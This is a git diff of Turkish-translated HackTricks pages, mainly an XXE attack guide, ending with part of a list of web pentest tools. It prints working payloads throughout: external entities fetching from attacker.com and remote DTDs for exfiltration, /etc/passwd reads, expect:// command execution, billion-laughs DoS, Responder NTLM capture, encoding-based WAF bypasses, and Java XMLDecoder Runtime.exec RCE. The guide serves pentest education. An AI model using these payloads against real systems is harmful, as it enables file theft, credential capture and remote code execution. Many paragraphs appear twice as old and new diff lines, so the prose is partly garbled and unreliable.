PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece faydalıdır.** [Bu bölümü kontrol edin ve sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenin](xxe-xee-xml-external-entity.md#error-based-system-dtd).
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece yararlıdır.** Sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenmek için [bu bölümü kontrol edin](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
PKZIP arşivi içindeki bir dosyaya jar protokolü aracılığıyla erişme süreci birkaç adım içerir:
1. Belirtilen konumdan, örneğin `https://download.website.com/archive.zip` adresinden zip arşivini indirmek için bir HTTP isteği yapılır.
2. Arşivi içeren HTTP yanıtı genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
1. Belirtilen konumdan (`https://download.website.com/archive.zip` gibi) zip arşivini indirmek için bir HTTP isteği yapılır.
2. Arşivi içeren HTTP yanıtı geçici olarak genellikle `/tmp/...` gibi bir konumda sistemde saklanır.
3. Arşiv, içeriğine erişmek için çıkarılır.
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
5. Bu işlem sırasında oluşturulan geçici dosyaların silinmesinden sonra işlem tamamlanır.
5. İşlem sonrasında, bu süreçte oluşturulan geçici dosyalar silinir.
Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) bulunmaktadır; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme gibi başka bir güvenlik açığını artırmanıza yardımcı olabilir.
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir zafiyeti **artırabileceği için başka bir zafiyeti yükseltmeye yardımcı olabilir**.
{% endhint %}
### XSS
@ -269,7 +271,7 @@ Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XS
```
### DoS
#### Milyar Güldürme Saldırısı
#### Milyar Gülüş Saldırısı
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -298,7 +300,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
#### NTML Almak
Windows ana bilgisayarlarında, bir responder.py işleyici ayarlayarak web sunucusu kullanıcısının NTML özetini almak mümkündür:
Windows ana bilgisayarlarında, bir yanıtlayıcı.py işleyicisi ayarlayarak web sunucusu kullanıcısının NTML özetini almak mümkündür:
```bash
Responder.py -I eth0 -v
```
@ -312,9 +314,9 @@ ve aşağıdaki isteği göndererek
### XInclude
Müşteri verilerini sunucu tarafındaki XML belgelerine entegre ederken, özellikle arka uç SOAP isteklerinde, XML yapısını doğrudan değiştirme yeteneği genellikle sınırlıdır, bu da `DOCTYPE` öğesini değiştirmeye yönelik klasik XXE saldırılarını engeller. Bununla birlikte, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından oluşturulan XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Müşteri verilerini sunucu tarafı XML belgelerine entegre ederken, özellikle arka uç SOAP isteklerinde, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır, bu da `DOCTYPE` öğesini değiştirme konusundaki kısıtlamalardan dolayı geleneksel XXE saldırılarını engeller. Bununla birlikte, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafında oluşturulan XML belgesinin yalnızca bir kısmı kontrol edilebiliyorsa bile etkilidir.
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolunun belirtilmesi gerekir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -324,25 +326,25 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portsw
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, daha sonra sunucuda işlenirken XML veya XML içeren dosya biçimlerinin nasıl işlendiğindeki güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına neden olabilir.
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına olanak tanır.
Bu tür bir saldırının bir örneği aşağıda gösterilmektedir, kötü niyetli bir SVG resminin sistem dosyalarını okumaya çalıştığı:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları yürütmeye çalışmaktır**:
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları yürütmeye çalışmak** içerir:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
Her iki durumda da SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulama ve güvenlik önlemlerinin gerekliliğini vurgular.
Her iki durumda da SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulaması ve güvenlik önlemlerinin gerekliliğini vurgular.
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)'i kontrol edin!
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
**Dosya yükleme - PDF**
Bir PDF dosyası yükleyerek XXE'yi nasıl sömürüleceğini öğrenmek için aşağıdaki yazıyı okuyun:
Bir PDF dosyası yükleyerek bir XXE'yi nasıl sömürüleceğini öğrenmek için aşağıdaki yazıyı okuyun:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -350,7 +352,7 @@ Bir PDF dosyası yükleyerek XXE'yi nasıl sömürüleceğini öğrenmek için a
### Content-Type: x-www-urlencoded'dan XML'e
Bir POST isteği XML formatında veri kabul ediyorsa, bu istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
Bir POST isteği XML formatında veri kabul ediyorsa, o istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -358,7 +360,7 @@ Content-Length: 7
foo=bar
```
Sonra aşağıdaki isteği gönderebilirsiniz, aynı sonuçla:
Ardından aynı sonuçla aşağıdaki isteği gönderebilirsiniz:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -398,7 +400,7 @@ Content-Type: application/xml;charset=UTF-8
```
Başka bir örnek [burada](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) bulunabilir.
## WAF & Koruma Atlatmaları
## WAF ve Koruma Geçişleri
### Base64
```xml
@ -408,7 +410,7 @@ Bu sadece XML sunucusunun `data://` protokolünü kabul ettiği durumlarda çal
### UTF-7
UTF-7'yi kullanabilirsiniz. \[**"Encode Recipe**" of cyberchef burada ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürün.
UTF-7'ın \[**"Encode Recipe**" of cyberchef burada ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)kullanabilirsiniz. UTF-7'ye dönüştürmek için.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -420,17 +422,17 @@ UTF-7'yi kullanabilirsiniz. \[**"Encode Recipe**" of cyberchef burada ]\(\[[http
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### Dosya:/ Protokolü Atlatma
### Dosya:/ Protokolü Bypass
Eğer web PHP kullanıyorsa, `file:/` yerine **php sarmalayıcıları** `php://filter/convert.base64-encode/resource=` kullanarak **dahili dosyalara erişebilirsiniz**.
Eğer web PHP kullanıyorsa, `file:/` yerine **php wrappers**`php://filter/convert.base64-encode/resource=` kullanarak **dahili dosyalara erişebilirsiniz**.
Eğer web Java kullanıyorsa [**jar: protokolünü**](xxe-xee-xml-external-entity.md#jar-protocol) kontrol edebilirsiniz.
Eğer web Java kullanıyorsa [**jar: protokolüne**](xxe-xee-xml-external-entity.md#jar-protocol) bakabilirsiniz.
### HTML Varlıkları
### HTML Entiteleri
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\
Bir **varlık içinde varlık** oluşturabilir ve onu **html varlıkları** ile kodlayarak **bir dtd yüklemek** için çağırabilirsiniz.\
Kullanılan **HTML Varlıklarının** **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
**Entite içinde bir entite** oluşturabilir ve onu **html entiteleriyle kodlayarak** çağırarak bir **dtd yükleyebilirsiniz**.\
Kullanılan **HTML Entitelerinin** **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -444,19 +446,19 @@ DTD örneği:
%abt;
%exfil;
```
## PHP Sarfırları
## PHP Sargılayıcıları
### Base64
**Çıkar** _**index.php**_
**Çıkart** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Harici kaynağı çıkartma**
#### **Dış kaynağı çıkartma**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Uzak kod yürütme
### Uzaktan kod yürütme
**Eğer PHP "expect" modülü yüklenmişse**
```xml
@ -469,8 +471,6 @@ DTD örneği:
</creds>
```
## **SOAP - XEE**
SOAP (Simple Object Access Protocol), XML External Entity (XEE) saldırılarına karşı savunmasız olabilir. Bu saldırılar, SOAP mesajları içindeki XML dış varlıklarını kötü niyetli amaçlar için kullanarak hassas bilgilerin ifşa edilmesine yol açabilir. Bu tür saldırılara karşı korunmak için giriş doğrulaması, giriş doğrulaması ve güvenli XML işleme gibi güvenlik önlemleri alınmalıdır.
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
@ -478,7 +478,7 @@ SOAP (Simple Object Access Protocol), XML External Entity (XEE) saldırılarına
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenilmiştir.
XLIFF (XML Localization Interchange File Format), veri değişimini standartlaştırmak için kullanılan bir formattır. Genellikle yerelleştirme süreçlerinde yerelleştirilebilir verilerin araçlar arasında transferi için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
XLIFF (XML Lokalizasyon Değişim Dosya Biçimi), lokalizasyon süreçlerinde veri alışverişini standartlaştırmak için kullanılır. Genellikle lokalizasyon sırasında araçlar arasında yerelleştirilebilir verilerin transferi için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
### Kör İstek Analizi
@ -498,7 +498,7 @@ Ancak, bu istek iç sunucu hatası tetikler ve özellikle işaretleme deklarasyo
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Hata olmasına rağmen, Burp İşbirlikçisinde bir vuruş kaydedilir ve dış varlıkla bir tür etkileşim olduğunu gösterir.
Hata olmasına rağmen, Burp Collaborator'da bir vuruş kaydedilir ve dış varlıkla bazı etkileşim seviyeleri belirtilir.
Veri Dışarı Aktarma Dış Bandından veri dışarı aktarmak için değiştirilmiş bir istek gönderilir:
```
@ -512,7 +512,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Bu yaklaşım, Kullanıcı Ajanının Java 1.8'in kullanıldığını gösterdiğini ortaya koyuyor. Bu Java sürümünün bir kısıtlaması, Yer Dışı teknik kullanılarak /etc/passwd gibi bir satır sonu karakteri içeren dosyaların alınamamasıdır.
Bu yaklaşım, Kullanıcı Ajanının Java 1.8'in kullanıldığını gösterdiğini ortaya koyar. Bu Java sürümünün bir kısıtlaması, Yer Dışı teknik kullanılarak /etc/passwd gibi bir satır sonu karakteri içeren dosyaların alınamamasıdır.
Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. Hedef bir dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
```xml
@ -521,7 +521,7 @@ Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir y
%foo;
%xxe;
```
Sunucu bir hata ile yanıt verir, önemli olan olmayan dosyayı yansıtarak, sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:
Sunucu bir hata ile yanıt verir, önemli olan olmayan bir dosyayı yansıtarak, sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -532,15 +532,15 @@ Hata mesajında dosyanın içeriğini dahil etmek için DTD dosyası ayarlanır:
%foo;
%xxe;
```
Bu değişiklik, HTTP aracılığıyla gönderilen hata çıktısında yansıtıldığı gibi dosyanın içeriğinin başarılı bir şekilde dışarı sızdırılmasına yol açar. Bu, hassas bilgileri çıkarmak için Hem Bağlam Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Dış Kaynak) saldırısını gösterir.
Bu değişiklik, dosyanın içeriğinin başarılı bir şekilde dışarı sızdırılmasına yol açar, çünkü HTTP aracılığıyla gönderilen hata çıktısında yansıtılır. Bu, hassas bilgileri çıkarmak için Hem Bağlam Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Harici Varlık) saldırısını gösterir.
## RSS - XEE
XXE zafiyetini sömürmek için RSS formatındaki geçerli XML.
### Ping back
### Geri İletme
Saldırganın sunucusuna basit bir HTTP isteği.
Saldırganın sunucusuna basit bir HTTP isteği
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -562,8 +562,6 @@ Saldırganın sunucusuna basit bir HTTP isteği.
</rss>
```
### Dosya okuma
XML dış varlık enjeksiyonu (XXE) saldırıları, kötü niyetli XML dış varlıklarını yüklemek için kullanılır. Bu saldırılar, hedef sistemin hassas bilgilerini ifşa etmek veya hedef sistemdeki dosyaları okumak gibi zararlı eylemleri gerçekleştirmek için kullanılabilir.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -584,7 +582,7 @@ XML dış varlık enjeksiyonu (XXE) saldırıları, kötü niyetli XML dış var
</channel>
</rss>
```
### Kaynak kodunu oku
### Kaynak kodunu okuyun
PHP base64 filtresi kullanarak
```xml
@ -609,7 +607,7 @@ PHP base64 filtresi kullanarak
```
## Java XMLDecoder XEE to RCE
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.
XMLDecoder, bir XML ileti tabanlı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.
### Runtime().exec() Kullanımı
```xml
@ -681,7 +679,7 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Kendi harici DTD'sini kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* Kendi harici DTD'sini kullanarak HTTP aracılığıyla bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
@ -689,12 +687,12 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -61,17 +61,17 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Hızlı port taraması
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Bir web sayfasındaki JS dosyalarından alt alanlar ve URL'ler
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web dosyaları sözlüğü
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Onlarca tekrarlayan sekme önlemek için BurpExtension
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Onlarca tekrarlayan tebleri önlemek için BurpExtension
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Varlıkları elde edin
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBounty kontrol listesi
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Open Redirection karşı bir alan listesini kontrol edin
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : ık Yönlendirmeye karşı bir alan listesini kontrol edin
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp eklentisi, alanları, alt alanları ve IP'leri keşfetmek için çevrimdışı analiz
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Farklı araçların listesi
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Zafiyetleri bulmak için BurpSuite Eklentisi (SQLi, XSS, SSTI)
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Zafiyetleri bulmak için BurpSuite eklentisi (SQLi, XSS, SSTI)
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Post mesajı işlevlerini izlemek için Chrome uzantısı
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Otomatik kimlik doğrulama testleri (çerezleri kaldırın ve isteği göndermeyi deneyin)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross, bir Rekonstrüksiyon, Tarayıcı ve bir penetrasyon / BugBounty test aracıdır. Bu araç, (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) zafiyetlerini test etmek için oluşturulmuştur
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Otomatik kimlik doğrulama testleri (çerezleri kaldır ve isteği göndermeye çalış)
